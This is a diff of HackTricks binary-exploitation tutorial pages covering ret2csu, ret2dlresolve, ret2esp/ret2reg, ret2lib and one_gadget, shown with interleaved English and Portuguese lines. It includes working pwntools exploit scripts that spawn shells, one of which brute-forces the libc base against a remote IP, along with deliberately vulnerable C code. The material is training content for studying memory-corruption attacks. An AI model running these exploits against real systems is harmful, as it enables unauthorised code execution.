> Note that the previous exploit isn't meant to do a **`RCE`**, it's meant to just call a function called **`win`** (taking the address of `win` from stdin calling gets in the ROP chain and storing it in r15) with a third argument with the value `0xdeadbeefcafed00d`.
> Note que o exploit anterior não é destinado a fazer um **`RCE`**, ele é destinado apenas a chamar uma função chamada **`win`** (pegando o endereço de `win` da entrada padrão chamando gets na cadeia ROP e armazenando-o em r15) com um terceiro argumento com o valor `0xdeadbeefcafed00d`.
### Bypassing the call and reaching ret
The following exploit was extracted [**from this page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) where the **ret2csu** is used but instead of using the call, it's **bypassing the comparisons and reaching the `ret`** after the call:
### Contornando a chamada e alcançando ret
O seguinte exploit foi extraído [**desta página**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) onde o **ret2csu** é usado, mas em vez de usar a chamada, ele está **contornando as comparações e alcançando o `ret`** após a chamada:
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@ -176,9 +165,8 @@ payload += ret2win
target.sendline(payload)
target.interactive()
```
### Por Que Não Usar Apenas a libc Diretamente?
### Why Not Just Use libc Directly?
Usually these cases are also vulnerable to [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), but sometimes you need to control more parameters than are easily controlled with the gadgets you find directly in libc. For example, the `write()` function requires three parameters, and **finding gadgets to set all these directly might not be possible**.
Geralmente, esses casos também são vulneráveis a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), mas às vezes você precisa controlar mais parâmetros do que os que podem ser facilmente controlados com os gadgets que você encontra diretamente na libc. Por exemplo, a função `write()` requer três parâmetros, e **encontrar gadgets para definir todos esses diretamente pode não ser possível**.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,38 +2,37 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
As explained in the page about [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) and [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function **`_dl_runtime_resolve`**.
Como explicado na página sobre [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) e [**Relro**](../common-binary-protections-and-bypasses/relro.md), binários sem Full Relro resolverão símbolos (como endereços para bibliotecas externas) na primeira vez que forem usados. Essa resolução ocorre chamando a função **`_dl_runtime_resolve`**.
The **`_dl_runtime_resolve`** function takes from the stack references to some structures it needs in order to **resolve** the specified symbol.
A função **`_dl_runtime_resolve`** pega do stack referências a algumas estruturas que precisa para **resolver** o símbolo especificado.
Therefore, it's possible to **fake all these structures** to make the dynamic linked resolving the requested symbol (like **`system`** function) and call it with a configured parameter (e.g. **`system('/bin/sh')`**).
Portanto, é possível **falsificar todas essas estruturas** para fazer a resolução dinâmica do símbolo solicitado (como a função **`system`**) e chamá-la com um parâmetro configurado (por exemplo, **`system('/bin/sh')`**).
Usually, all these structures are faked by making an **initial ROP chain that calls `read`** over a writable memory, then the **structures** and the string **`'/bin/sh'`** are passed so they are stored by read in a known location, and then the ROP chain continues by calling **`_dl_runtime_resolve`** , having it **resolve the address of `system`** in the fake structures and **calling this address** with the address to `$'/bin/sh'`.
Geralmente, todas essas estruturas são falsificadas fazendo uma **cadeia ROP inicial que chama `read`** sobre uma memória gravável, então as **estruturas** e a string **`'/bin/sh'`** são passadas para que sejam armazenadas pela leitura em um local conhecido, e então a cadeia ROP continua chamando **`_dl_runtime_resolve`**, fazendo com que ela **resolva o endereço de `system`** nas estruturas falsas e **chame esse endereço** com o endereço para `$'/bin/sh'`.
> [!TIP]
> This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv/) or [SROP](srop-sigreturn-oriented-programming/)) and there are't ways to leak libc addresses.
> Esta técnica é útil especialmente se não houver gadgets de syscall (para usar técnicas como [**ret2syscall**](rop-syscall-execv/) ou [SROP](srop-sigreturn-oriented-programming/)) e não houver maneiras de vazar endereços da libc.
Chek this video for a nice explanation about this technique in the second half of the video:
Confira este vídeo para uma boa explicação sobre esta técnica na segunda metade do vídeo:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
Or check these pages for a step-by-step explanation:
Ou confira estas páginas para uma explicação passo a passo:
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
## Attack Summary
## Resumo do Ataque
1. Write fake estructures in some place
2. Set the first argument of system (`$rdi = &'/bin/sh'`)
3. Set on the stack the addresses to the structures to call **`_dl_runtime_resolve`**
4. **Call** `_dl_runtime_resolve`
5. **`system`** will be resolved and called with `'/bin/sh'` as argument
From the [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), this is how a **`ret2dlresolve`** attack look like:
1. Escrever estruturas falsas em algum lugar
2. Definir o primeiro argumento do system (`$rdi = &'/bin/sh'`)
3. Definir na pilha os endereços das estruturas para chamar **`_dl_runtime_resolve`**
4. **Chamar** `_dl_runtime_resolve`
5. **`system`** será resolvido e chamado com `'/bin/sh'` como argumento
Da [**documentação do pwntools**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), é assim que um ataque **`ret2dlresolve`** se parece:
```python
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
@ -53,13 +52,11 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
0x0040: 0x4003e0 [plt_init] system
0x0048: 0x15670 [dlresolve index]
```
## Example
## Exemplo
### Pure Pwntools
You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used:
Você pode encontrar um [**exemplo desta técnica aqui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **contendo uma explicação muito boa da cadeia ROP final**, mas aqui está o exploit final utilizado:
```python
from pwn import *
@ -81,9 +78,7 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re
p.interactive()
```
### Raw
### Cru
```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
@ -186,12 +181,11 @@ target.send(paylaod2)
# Enjoy the shell!
target.interactive()
```
## Other Examples & References
## Outros Exemplos & Referências
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
- 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call `read` again with a `.bss` section and a bigger size, to store in there the `dlresolve` fake tables to load `system`, return to main and re-abuse the initial bof to call dlresolve and then `system('/bin/sh')`.
- 32bit, sem relro, sem canary, nx, sem pie, overflow básico de buffer pequeno e retorno. Para explorá-lo, o bof é usado para chamar `read` novamente com uma seção `.bss` e um tamanho maior, para armazenar ali as tabelas falsas de `dlresolve` para carregar `system`, retornar ao main e reabusar o bof inicial para chamar dlresolve e então `system('/bin/sh')`.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,27 +4,24 @@
## **Ret2esp**
**Because the ESP (Stack Pointer) always points to the top of the stack**, this technique involves replacing the EIP (Instruction Pointer) with the address of a **`jmp esp`** or **`call esp`** instruction. By doing this, the shellcode is placed right after the overwritten EIP. When the `ret` instruction executes, ESP points to the next address, precisely where the shellcode is stored.
**Porque o ESP (Ponteiro de Pilha) sempre aponta para o topo da pilha**, esta técnica envolve substituir o EIP (Ponteiro de Instrução) pelo endereço de uma instrução **`jmp esp`** ou **`call esp`**. Ao fazer isso, o shellcode é colocado logo após o EIP sobrescrito. Quando a instrução `ret` é executada, o ESP aponta para o próximo endereço, precisamente onde o shellcode está armazenado.
If **Address Space Layout Randomization (ASLR)** is not enabled in Windows or Linux, it's possible to use `jmp esp` or `call esp` instructions found in shared libraries. However, with [**ASLR**](../common-binary-protections-and-bypasses/aslr/) active, one might need to look within the vulnerable program itself for these instructions (and you might need to defeat [**PIE**](../common-binary-protections-and-bypasses/pie/)).
Se **Randomização de Layout de Espaço de Endereçamento (ASLR)** não estiver habilitada no Windows ou Linux, é possível usar instruções `jmp esp` ou `call esp` encontradas em bibliotecas compartilhadas. No entanto, com [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ativo, pode ser necessário procurar dentro do próprio programa vulnerável por essas instruções (e pode ser necessário derrotar [**PIE**](../common-binary-protections-and-bypasses/pie/)).
Moreover, being able to place the shellcode **after the EIP corruption**, rather than in the middle of the stack, ensures that any `push` or `pop` instructions executed during the function's operation don't interfere with the shellcode. This interference could happen if the shellcode were placed in the middle of the function's stack.
Além disso, ser capaz de colocar o shellcode **após a corrupção do EIP**, em vez de no meio da pilha, garante que quaisquer instruções `push` ou `pop` executadas durante a operação da função não interfiram com o shellcode. Essa interferência poderia ocorrer se o shellcode fosse colocado no meio da pilha da função.
### Lacking space
If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial **`jmp`** shellcode like:
### Falta de espaço
Se você estiver sem espaço para escrever após sobrescrever o RIP (talvez apenas alguns bytes), escreva um shellcode inicial **`jmp`** como:
```armasm
sub rsp, 0x30
jmp rsp
```
E escreva o shellcode cedo na pilha.
And write the shellcode early in the stack.
### Example
You can find an example of this technique in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) with a final exploit like:
### Exemplo
Você pode encontrar um exemplo dessa técnica em [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) com um exploit final como:
```python
from pwn import *
@ -36,17 +33,15 @@ jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
```
You can see another example of this technique in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). There is a buffer overflow without NX enabled, it's used a gadget to r**educe the address of `$esp`** and then a `jmp esp;` to jump to the shellcode:
Você pode ver outro exemplo dessa técnica em [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). Há um buffer overflow sem NX habilitado, é usado um gadget para **reduzir o endereço de `$esp`** e então um `jmp esp;` para pular para o shellcode:
```python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
@ -81,47 +76,41 @@ target.sendline(payload)
# Drop to an interactive shell
target.interactive()
```
## Ret2reg
Similarly, if we know a function returns the address where the shellcode is stored, we can leverage **`call eax`** or **`jmp eax`** instructions (known as **ret2eax** technique), offering another method to execute our shellcode. Just like eax, **any other register** containing an interesting address could be used (**ret2reg**).
Da mesma forma, se soubermos que uma função retorna o endereço onde o shellcode está armazenado, podemos aproveitar as instruções **`call eax`** ou **`jmp eax`** (conhecidas como técnica **ret2eax**), oferecendo outro método para executar nosso shellcode. Assim como eax, **qualquer outro registrador** contendo um endereço interessante pode ser usado (**ret2reg**).
### Example
### Exemplo
You can find some examples here:&#x20;
Você pode encontrar alguns exemplos aqui:&#x20;
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
- **`strcpy`** will be store in **`eax`** the address of the buffer where the shellcode was stored and **`eax`** isn't being overwritten, so it's possible use a `ret2eax`.
- **`strcpy`** irá armazenar em **`eax`** o endereço do buffer onde o shellcode foi armazenado e **`eax`** não está sendo sobrescrito, então é possível usar um `ret2eax`.
## ARM64
### Ret2sp
In ARM64 there **aren't** instructions allowing to **jump to the SP registry**. It might be possible to find a gadget that **moves sp to a registry and then jumps to that registry**, but in the libc of my kali I couldn't find any gadget like that:
No ARM64 não **há** instruções que permitem **pular para o registrador SP**. Pode ser possível encontrar um gadget que **move sp para um registrador e então pula para esse registrador**, mas na libc da minha kali não consegui encontrar nenhum gadget assim:
```bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
```
The only ones I discovered would change the value of the registry where sp was copied before jumping to it (so it would become useless):
Os únicos que descobri mudariam o valor do registrador onde sp foi copiado antes de pular para ele (então se tornaria inútil):
<figure><img src="../../images/image (1224).png" alt=""><figcaption></figcaption></figure>
### Ret2reg
If a registry has an interesting address it's possible to jump to it just finding the adequate instruction. You could use something like:
Se um registrador tiver um endereço interessante, é possível pular para ele apenas encontrando a instrução adequada. Você poderia usar algo como:
```bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
```
Em ARM64, é **`x0`** que armazena o valor de retorno de uma função, então pode ser que x0 armazene o endereço de um buffer controlado pelo usuário com um shellcode para executar.
In ARM64, it's **`x0`** who stores the return value of a function, so it could be that x0 stores the address of a buffer controlled by the user with a shellcode to execute.
Example code:
Exemplo de código:
```c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
@ -129,34 +118,32 @@ Example code:
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
if (do_arg == 1)
__asm__("br x0");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
```
Checking the disassembly of the function it's possible to see that the **address to the buffer** (vulnerable to bof and **controlled by the user**) is **stored in `x0`** before returning from the buffer overflow:
Verificando a desassemblagem da função, é possível ver que o **endereço do buffer** (vulnerável a bof e **controlado pelo usuário**) é **armazenado em `x0`** antes de retornar do buffer overflow:
<figure><img src="../../images/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
It's also possible to find the gadget **`br x0`** in the **`do_stuff`** function:
Também é possível encontrar o gadget **`br x0`** na função **`do_stuff`**:
<figure><img src="../../images/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
We will use that gadget to jump to it because the binary is compile **WITHOUT PIE.** Using a pattern it's possible to see that the **offset of the buffer overflow is 80**, so the exploit would be:
Usaremos esse gadget para pular para ele porque o binário é compilado **SEM PIE.** Usando um padrão, é possível ver que o **offset do buffer overflow é 80**, então o exploit seria:
```python
from pwn import *
@ -171,17 +158,16 @@ payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
```
> [!WARNING]
> If instead of `fgets` it was used something like **`read`**, it would have been possible to bypass PIE also by **only overwriting the last 2 bytes of the return address** to return to the `br x0;` instruction without needing to know the complete address.\
> With `fgets` it doesn't work because it **adds a null (0x00) byte at the end**.
> Se em vez de `fgets` fosse usado algo como **`read`**, teria sido possível contornar o PIE também **apenas sobrescrevendo os últimos 2 bytes do endereço de retorno** para retornar à instrução `br x0;` sem precisar saber o endereço completo.\
> Com `fgets` isso não funciona porque **adiciona um byte nulo (0x00) no final**.
## Protections
## Proteções
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): If the stack isn't executable this won't help as we need to place the shellcode in the stack and jump to execute it.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Those can make harder to find a instruction to jump to esp or any other register.
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Se a pilha não for executável, isso não ajudará, pois precisamos colocar o shellcode na pilha e pular para executá-lo.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Esses podem dificultar a localização de uma instrução para pular para esp ou qualquer outro registrador.
## References
## Referências
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)

View File

@ -2,103 +2,90 @@
{{#include ../../../banners/hacktricks-training.md}}
## **Basic Information**
## **Informações Básicas**
The essence of **Ret2Libc** is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., **system**, **execve**, **strcpy**) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention.
A essência do **Ret2Libc** é redirecionar o fluxo de execução de um programa vulnerável para uma função dentro de uma biblioteca compartilhada (por exemplo, **system**, **execve**, **strcpy**) em vez de executar shellcode fornecido pelo atacante na pilha. O atacante cria um payload que modifica o endereço de retorno na pilha para apontar para a função da biblioteca desejada, enquanto também organiza para que quaisquer argumentos necessários sejam configurados corretamente de acordo com a convenção de chamada.
### **Example Steps (simplified)**
### **Exemplo de Etapas (simplificado)**
- Get the address of the function to call (e.g. system) and the command to call (e.g. /bin/sh)
- Generate a ROP chain to pass the first argument pointing to the command string and the execution flow to the function
- Obter o endereço da função a ser chamada (por exemplo, system) e o comando a ser chamado (por exemplo, /bin/sh)
- Gerar uma cadeia ROP para passar o primeiro argumento apontando para a string do comando e o fluxo de execução para a função
## Finding the addresses
- Supposing that the `libc` used is the one from current machine you can find where it'll be loaded in memory with:
## Encontrando os endereços
- Supondo que a `libc` utilizada seja a da máquina atual, você pode encontrar onde ela será carregada na memória com:
```bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
```
If you want to check if the ASLR is changing the address of libc you can do:
Se você quiser verificar se o ASLR está mudando o endereço da libc, você pode fazer:
```bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
```
- Knowing the libc used it's also possible to find the offset to the `system` function with:
- Sabendo a libc utilizada, também é possível encontrar o offset para a função `system` com:
```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
```
- Knowing the libc used it's also possible to find the offset to the string `/bin/sh` function with:
- Sabendo a libc utilizada, também é possível encontrar o deslocamento para a string `/bin/sh` com:
```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
```
### Usando gdb-peda / GEF
### Using gdb-peda / GEF
Knowing the libc used, It's also possible to use Peda or GEF to get address of **system** function, of **exit** function and of the string **`/bin/sh`** :
Sabendo a libc utilizada, também é possível usar Peda ou GEF para obter o endereço da função **system**, da função **exit** e da string **`/bin/sh`** :
```bash
p system
p exit
find "/bin/sh"
```
### Usando /proc/\<PID>/maps
### Using /proc/\<PID>/maps
Se o processo está criando **filhos** toda vez que você fala com ele (servidor de rede), tente **ler** esse arquivo (provavelmente você precisará ser root).
If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root).
Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process.
Aqui você pode encontrar **exatamente onde a libc está carregada** dentro do processo e **onde será carregada** para cada filho do processo.
![](<../../../images/image (853).png>)
In this case it is loaded in **0xb75dc000** (This will be the base address of libc)
Neste caso, está carregada em **0xb75dc000** (Este será o endereço base da libc)
## Unknown libc
## Libc desconhecida
It might be possible that you **don't know the libc the binary is loading** (because it might be located in a server where you don't have any access). In that case you could abuse the vulnerability to **leak some addresses and find which libc** library is being used:
Pode ser possível que você **não saiba qual libc o binário está carregando** (porque pode estar localizado em um servidor onde você não tem acesso). Nesse caso, você poderia abusar da vulnerabilidade para **vazar alguns endereços e descobrir qual biblioteca libc** está sendo usada:
{{#ref}}
rop-leaking-libc-address/
{{#endref}}
And you can find a pwntools template for this in:
E você pode encontrar um template do pwntools para isso em:
{{#ref}}
rop-leaking-libc-address/rop-leaking-libc-template.md
{{#endref}}
### Know libc with 2 offsets
### Conhecendo a libc com 2 offsets
Check the page [https://libc.blukat.me/](https://libc.blukat.me/) and use a **couple of addresses** of functions inside the libc to find out the **version used**.
Verifique a página [https://libc.blukat.me/](https://libc.blukat.me/) e use um **casal de endereços** de funções dentro da libc para descobrir a **versão utilizada**.
## Bypassing ASLR in 32 bits
## Contornando ASLR em 32 bits
These brute-forcing attacks are **only useful for 32bit systems**.
- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
Esses ataques de força bruta são **úteis apenas para sistemas de 32 bits**.
- Se o exploit for local, você pode tentar forçar o endereço base da libc (útil para sistemas de 32 bits):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
- If attacking a remote server, you could try to **burte-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
- Se você estiver atacando um servidor remoto, pode tentar **forçar a descoberta do endereço da função `usleep` da `libc`**, passando como argumento 10 (por exemplo). Se em algum momento o **servidor levar 10s a mais para responder**, você encontrou o endereço dessa função.
## One Gadget
Execute a shell just jumping to **one** specific **address** in libc:
Execute um shell apenas pulando para **um** **endereço** específico na libc:
{{#ref}}
one-gadget.md
{{#endref}}
## x86 Ret2lib Code Example
In this example ASLR brute-force is integrated in the code and the vulnerable binary is loated in a remote server:
## Exemplo de Código x86 Ret2lib
Neste exemplo, a força bruta do ASLR está integrada no código e o binário vulnerável está localizado em um servidor remoto:
```python
from pwn import *
@ -106,60 +93,59 @@ c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
```
## x64 Ret2lib Exemplo de Código
## x64 Ret2lib Code Example
Check the example from:
Verifique o exemplo de:
{{#ref}}
../
{{#endref}}
## ARM64 Ret2lib Example
## Exemplo ARM64 Ret2lib
In the case of ARM64, the ret instruction jumps to whereber the x30 registry is pointing and not where the stack registry is pointing. So it's a bit more complicated.
No caso do ARM64, a instrução ret salta para onde o registrador x30 está apontando e não para onde o registrador da pilha está apontando. Portanto, é um pouco mais complicado.
Also in ARM64 an instruction does what the instruction does (it's not possible to jump in the middle of instructions and transform them in new ones).
Além disso, no ARM64, uma instrução faz o que a instrução faz (não é possível saltar no meio das instruções e transformá-las em novas).
Check the example from:
Verifique o exemplo de:
{{#ref}}
ret2lib-+-printf-leak-arm64.md
{{#endref}}
## Ret-into-printf (or puts)
## Ret-into-printf (ou puts)
This allows to **leak information from the process** by calling `printf`/`puts` with some specific data placed as an argument. For example putting the address of `puts` in the GOT into an execution of `puts` will **leak the address of `puts` in memory**.
Isso permite **vazar informações do processo** chamando `printf`/`puts` com alguns dados específicos colocados como argumento. Por exemplo, colocar o endereço de `puts` no GOT em uma execução de `puts` irá **vazar o endereço de `puts` na memória**.
## Ret2printf
This basically means abusing a **Ret2lib to transform it into a `printf` format strings vulnerability** by using the `ret2lib` to call printf with the values to exploit it (sounds useless but possible):
Isso basicamente significa abusar de um **Ret2lib para transformá-lo em uma vulnerabilidade de strings de formato `printf`** usando o `ret2lib` para chamar printf com os valores para explorá-lo (parece inútil, mas é possível):
{{#ref}}
../../format-strings/
{{#endref}}
## Other Examples & references
## Outros Exemplos & referências
- [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
- Ret2lib, given a leak to the address of a function in libc, using one gadget
- Ret2lib, dado um vazamento para o endereço de uma função na libc, usando um gadget
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')`
- 64 bits, ASLR habilitado, mas sem PIE, o primeiro passo é preencher um overflow até o byte 0x00 do canário para então chamar puts e vazá-lo. Com o canário, um gadget ROP é criado para chamar puts para vazar o endereço de puts do GOT e um gadget ROP para chamar `system('/bin/sh')`
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget.
- 64 bits, ASLR habilitado, sem canário, overflow de pilha na função principal de uma função filha. Gadget ROP para chamar puts para vazar o endereço de puts do GOT e então chamar um gadget.
- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
- 64 bits, no pie, no canary, no relro, nx. Uses write function to leak the address of write (libc) and calls one gadget.
- 64 bits, sem pie, sem canário, sem relro, nx. Usa a função write para vazar o endereço de write (libc) e chama um gadget.
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
- Uses a format string to leak the canary from the stack and a buffer overflow to calle into system (it's in the GOT) with the address of `/bin/sh`.
- Usa uma string de formato para vazar o canário da pilha e um buffer overflow para chamar system (está no GOT) com o endereço de `/bin/sh`.
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).
- 32 bits, sem relro, sem canário, nx, pie. Abusa de um indexação ruim para vazar endereços da libc e heap da pilha. Abusa do buffer overflow para fazer um ret2lib chamando `system('/bin/sh')` (o endereço da heap é necessário para contornar uma verificação).
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,36 +2,32 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
[**One Gadget**](https://github.com/david942j/one_gadget) allows to obtain a shell instead of using **system** and **"/bin/sh". One Gadget** will find inside the libc library some way to obtain a shell (`execve("/bin/sh")`) using just one **address**.\
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
[**One Gadget**](https://github.com/david942j/one_gadget) permite obter um shell em vez de usar **system** e **"/bin/sh". One Gadget** encontrará dentro da biblioteca libc alguma maneira de obter um shell (`execve("/bin/sh")`) usando apenas um **endereço**.\
No entanto, normalmente existem algumas restrições, as mais comuns e fáceis de evitar são como `[rsp+0x30] == NULL`. Como você controla os valores dentro do **RSP**, você só precisa enviar mais alguns valores NULL para que a restrição seja evitada.
![](<../../../images/image (754).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
To the address indicated by One Gadget you need to **add the base address where `libc`** is loaded.
Para o endereço indicado pelo One Gadget, você precisa **adicionar o endereço base onde `libc`** está carregado.
> [!TIP]
> One Gadget is a **great help for Arbitrary Write 2 Exec techniques** and might **simplify ROP** **chains** as you only need to call one address (and fulfil the requirements).
> One Gadget é uma **grande ajuda para técnicas de Arbitrary Write 2 Exec** e pode **simplificar ROP** **chains** já que você só precisa chamar um endereço (e cumprir os requisitos).
### ARM64
The github repo mentions that **ARM64 is supported** by the tool, but when running it in the libc of a Kali 2023.3 **it doesn't find any gadget**.
O repositório do github menciona que **ARM64 é suportado** pela ferramenta, mas ao executá-la na libc de um Kali 2023.3 **não encontra nenhum gadget**.
## Angry Gadget
From the [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Inspired by [OneGadget](https://github.com/david942j/one_gadget) this tool is written in python and uses [angr](https://github.com/angr/angr) to test constraints for gadgets executing `execve('/bin/sh', NULL, NULL)`\
